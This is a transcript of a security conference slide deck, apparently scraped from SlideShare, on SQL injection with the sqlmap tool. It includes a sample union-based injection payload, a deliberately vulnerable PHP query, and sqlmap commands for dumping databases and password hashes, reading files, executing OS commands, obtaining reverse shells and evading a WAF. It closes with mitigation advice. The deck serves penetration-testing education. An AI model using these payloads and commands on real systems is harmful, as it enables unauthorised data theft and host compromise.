![SQLi 101: Structure
...?name=robert’ union all select null,@@version,null #
Prefix Payload Suffix
$query = “SELECT name,status,age FROM user WHERE
name=’” . $_REQUEST[‘search’] . “‘ AND age > 42”;
Tuesday, December 4, 12 5](https://image.slidesharecdn.com/sqlinjectionwithsqlmap-130117174015-phpapp01/85/Sql-injection-with-sqlmap-5-320.jpg)
![sqlmap: Finding SQLi (II)
--level=<level> (1...5 - default is 1)
With --level=5 every combination of payload, prefix and suffix
will be tested on all injection points available (noisier but gives
more coverage)
--risk=<risk> (0...3) - default is 1)
To do tests using OR --risk=3. Why? Imagine this:
UPDATE user SET disabled=1 WHERE email=email@email.com OR 1=1#
-p <param to test>[, <param to test>]
Tuesday, December 4, 12 13](https://image.slidesharecdn.com/sqlinjectionwithsqlmap-130117174015-phpapp01/85/Sql-injection-with-sqlmap-13-320.jpg)
![sqlmap: Tamper scripts
Tamper scripts:
--tamper <script file path>[,<script file path>]
tamper/bluecoat.py
def tamper(payload, headers=None):
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT%09id FROM users where id LIKE 1
Requirement:
* MySQL, Blue Coat SGOS with WAF activated as documented in
https://kb.bluecoat.com/index?page=content&id=FAQ2147
if payload:
retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)s+", r"g<1>t", payload)
retVal = re.sub(r"s*=s*", " LIKE ", retVal)
Tuesday, December 4, 12 24](https://image.slidesharecdn.com/sqlinjectionwithsqlmap-130117174015-phpapp01/85/Sql-injection-with-sqlmap-24-320.jpg)
![SQLi 101: Structure
...?name=robert’ union all select null,@@version,null #
Prefix Payload Suffix
$query = “SELECT name,status,age FROM user WHERE
name=’” . $_REQUEST[‘search’] . “‘ AND age > 42”;
Tuesday, December 4, 12 5](https://image.slidesharecdn.com/sqlinjectionwithsqlmap-130117174015-phpapp01/75/Sql-injection-with-sqlmap-5-2048.jpg)
![sqlmap: Finding SQLi (II)
--level=<level> (1...5 - default is 1)
With --level=5 every combination of payload, prefix and suffix
will be tested on all injection points available (noisier but gives
more coverage)
--risk=<risk> (0...3) - default is 1)
To do tests using OR --risk=3. Why? Imagine this:
UPDATE user SET disabled=1 WHERE email=email@email.com OR 1=1#
-p <param to test>[, <param to test>]
Tuesday, December 4, 12 13](https://image.slidesharecdn.com/sqlinjectionwithsqlmap-130117174015-phpapp01/75/Sql-injection-with-sqlmap-13-2048.jpg)
![sqlmap: Tamper scripts
Tamper scripts:
--tamper <script file path>[,<script file path>]
tamper/bluecoat.py
def tamper(payload, headers=None):
Example:
* Input: SELECT id FROM users where id = 1
* Output: SELECT%09id FROM users where id LIKE 1
Requirement:
* MySQL, Blue Coat SGOS with WAF activated as documented in
https://kb.bluecoat.com/index?page=content&id=FAQ2147
if payload:
retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)s+", r"g<1>t", payload)
retVal = re.sub(r"s*=s*", " LIKE ", retVal)
Tuesday, December 4, 12 24](https://image.slidesharecdn.com/sqlinjectionwithsqlmap-130117174015-phpapp01/75/Sql-injection-with-sqlmap-24-2048.jpg)
Sql injection with sqlmap
- 1. SQL injection withsqlmap Herman Duarte <hcoduarte@gmail.com> Tuesday, December 4, 12 1
- 2. About me Consultant @ INTEGRITY S.A. - www.integrity.pt Penetration testing engagements BSc in Information Systems and Computer Engineering CISSP Associate / ISO27001LA / CCNA Security addict :) Tuesday, December 4, 12 2
- 3. Roadmap SQL injection (SQLi) 101 sqlmap Mitigation techniques Wrap-up Tuesday, December 4, 12 3
- 4. SQLi 101: Definition Definition: SQL injection occurs when it is possible to inject SQL commands in data-plane input in order to affect the execution of predefined SQL statements It affects any application that uses non-sanitized user-supplied input, in dynamic SQL query constructions (e.g. web apps, fat clients) Cause: Bad programming practices + Lack of knowledge/ awareness Tuesday, December 4, 12 4
- 5. SQLi 101: Structure ...?name=robert’ union all select null,@@version,null # Prefix Payload Suffix $query = “SELECT name,status,age FROM user WHERE name=’” . $_REQUEST[‘search’] . “‘ AND age > 42”; Tuesday, December 4, 12 5
- 6. sqlmap Developed in python Prerequisites to run sqlmap: Python 2.6.x or 2.7.x To install: git clone https://github.com/sqlmapproject/sqlmap.git sqlmap To update: python sqlmap.py --update git pull Tuesday, December 4, 12 6
- 7. sqlmap Mainly developed by: Bernardo Damele A.G. Miroslav Stampar (@inquisb) (@stramparm) Tuesday, December 4, 12 7
- 8. sqlmap: Scenarios Find and explore SQL injection in web applications Direct connection (database account is needed) DBMS python binding installed (e.g. PyMySQL) -d <dbms>://<user>:<password>@<ip>:<port>/<db_name> Tuesday, December 4, 12 8
- 9. sqlmap: Workflow Select your target Identify possible injection points Identify SQLi vulnerabilities: By using sqlmap Manual testing :) Exploit SQLi vunerabilities: Enumerate File system access OS pwnage Own the internal network (w00t! w00t!) Tuesday, December 4, 12 9
- 10. sqlmap: Target selection -u “<url>” (e.g. https://webapp.com/news.php?id=1) -r <request file> GET /news.php?id=1&Submit=Submit HTTP/1.1 Host: webapp.com User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:14.0) Gecko/20100101 Firefox/14.0.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Referer: https://webapp.com/index.php Cookie: PHPSESSID=l7uo2lheu067qrs8fjj0bab777; DNT: 1 Tuesday, December 4, 12 10
- 11. sqlmap: Injection points GET parameters POST parameters Cookie header values (only if --level >= 2) User-Agent header value (only if --level >= 3) Referer header value (only if --level >= 3) Tuesday, December 4, 12 11
- 12. sqlmap: Finding SQLi(I) ./sqlmap.py -u “https://webapp.com/news.php?id=1” or ./sqlmap.y -r news_get_request --force-ssl Default behavior: Tests all GET and/or POST parameters, for all SQLi types, for all databases (if not discovered during tests) Yes it may take a long time, and it doesn’t cover all tests sqlmap can do. Tuesday, December 4, 12 12
- 13. sqlmap: Finding SQLi(II) --level=<level> (1...5 - default is 1) With --level=5 every combination of payload, prefix and suffix will be tested on all injection points available (noisier but gives more coverage) --risk=<risk> (0...3) - default is 1) To do tests using OR --risk=3. Why? Imagine this: UPDATE user SET disabled=1 WHERE email=email@email.com OR 1=1# -p <param to test>[, <param to test>] Tuesday, December 4, 12 13
- 14. sqlmap: SQLi techniques/types --technique=SU (default is all of them: BEUST) Boolean-based blind Based on page changes, data is inferred, char by char Error-based Uses the errors that are displayed to extract data Union query-based Changes the SQL queries to extract data Stacked queries Semi-colon are used to inject multiple statements on the SQL query Time-based blind Based on time, data is inferred, char by char Tuesday, December 4, 12 14
- 15. sqlmap: Supported DBMSs --dbms=mssql | mysql | postgresql | oracle ... Microsoft SQL Server SAP MaxDB MySQL Sybase PostgreSQL Firebird Oracle SQLite IBM DB2 Microsoft Access Tuesday, December 4, 12 15
- 16. sqlmap: Logging /Verbosity Logs all HTTP traffic in a text file: -t <output file> Save options used in command line: --save <file> Verbosity : -v <0..6> (default 1) -v 6 same as -t but, output to console Tuesday, December 4, 12 16
- 17. sqlmap: Enumeration (I) Objective: Get data from the DBMS tables (limited the privileges the current DBMS user have) What can you get: DBMS exact version, O.S. information, architecture and patch level: -f DBMS banner: -b DBMS server hostname: --hostname DBMS user the application is using: --current-user Applications current DB: --current-db If the current user is a DBA: --is-dba Tuesday, December 4, 12 17
- 18. sqlmap: Enumeration (II) What can you get: ... List the DBMS users: --users List all DBMS users, password hashes: --passwords sqlmap will automatically try to crack the hashes with a dictionary attack List users privileges: --privileges List all available databases: --dbs List all tables or just for a specific database: --tables (-D <database name>) Tuesday, December 4, 12 18
- 19. sqlmap: Enumeration (III) What can you get: ... List all columns or just for a specific table from that database: --columns (-T <table name> -D <db name>) Count table entries: --count Dump data from a database/table/column: --dump (-D, -T, -C can be used to select what data to dump) --dump-all (I don’t recommend it) Search for a specific or part of a database name, table name or column name: --search= (-D, -T, -C to specify what to search) Tuesday, December 4, 12 19
- 20. sqlmap: Enumeration (IV) What can you get: ... Executing a custom SQL query: --sql-query=”<sql query to execute>” Interactive SQL shell to execute all your custom SQL queries: --sql-shell Tuesday, December 4, 12 20
- 21. sqlmap: File systemaccess Objective: Read and write any textual or binary file from the DBMS O.S. Prerequisites: DBMS = mssql | mysql | postgresql Current DBMS user must have the necessary privileges Read: --file-read=”<file path>” Write: --file-write=”<file local path>” --file-dest=”<remote file location path>” Tuesday, December 4, 12 21
- 22. sqlmap: OS pwnage(I) Objective: Get access to the DBMS O.S. and the Internal network (if DBMS server in the internal network) Prerequisites: DBMS = mssql | mysql | postgresql Current DBMS user must have the necessary privileges What can you do? Get a reverse shell if the DB can: connect to the internet ping your server (yes an icmp shell :)) Establish a VNC connection Tuesday, December 4, 12 22
- 23. sqlmap: OS pwnage(II) To execute an OS command: --os-cmd=”<command to execute>” To get an OS shell: --os-shell To get a meterpreter shell, an icmpshell or VNC: --os-pwn --msf-path=”<msf path>” Store procedure privilege escalation (buffer overflow): --bof Tuesday, December 4, 12 23
- 24. sqlmap: Tamper scripts Tamper scripts: --tamper <script file path>[,<script file path>] tamper/bluecoat.py def tamper(payload, headers=None): Example: * Input: SELECT id FROM users where id = 1 * Output: SELECT%09id FROM users where id LIKE 1 Requirement: * MySQL, Blue Coat SGOS with WAF activated as documented in https://kb.bluecoat.com/index?page=content&id=FAQ2147 if payload: retVal = re.sub(r"(?i)(SELECT|UPDATE|INSERT|DELETE)s+", r"g<1>t", payload) retVal = re.sub(r"s*=s*", " LIKE ", retVal) Tuesday, December 4, 12 24
- 25. sqlmap DEMO Tuesday, December 4, 12 25
- 26. sqlmap: Tips If HTTPS is being used, don’t forget to set: --force-ssl Get the most info as you can before starting to find SQLi vulnerabilities. It will save you time. Union-based gives more data with less requests, use it Time-based blind SQLi is faster to check in comparison to Union-based query (in cases where a lot of columns are used) If --is-dba=true, --technique=S you can start to gangnam style Tuesday, December 4, 12 26
- 27. Mitigation Techniques Sanitize input Use prepared statements / bind variables Configure DBMS users configured with least-privilege principle in mind Use generic errors don’t pass them to the user In case the web application source code can’t be changed, a proxy can be used, between the web server and the database server (e.g. GreenSQL) Tuesday, December 4, 12 27
- 28. Wrap-up Input sanitization Use prepared statements Least-privilege principle is your friend (use it!) Have I said to use prepared statements ?! :) Do code reviews Tuesday, December 4, 12 28
- 29. References https://sqlmap.org Advanced SQL injection to operating system full control - http://www.slideshare.net/inquis/advanced- sql-injection-to-operating-system-full-control- whitepaper-4633857 SQL Injection Attacks and Defenses - http:// www.amazon.com/Injection-Attacks-Defense-Justin- Clarke/dp/1597494240 Tuesday, December 4, 12 29
- 30. Thank You! Q&A Herman Duarte @hdontwit https://www.linkedin.com/in/hcoduarte hcoduarte@gmail.com Tuesday, December 4, 12 30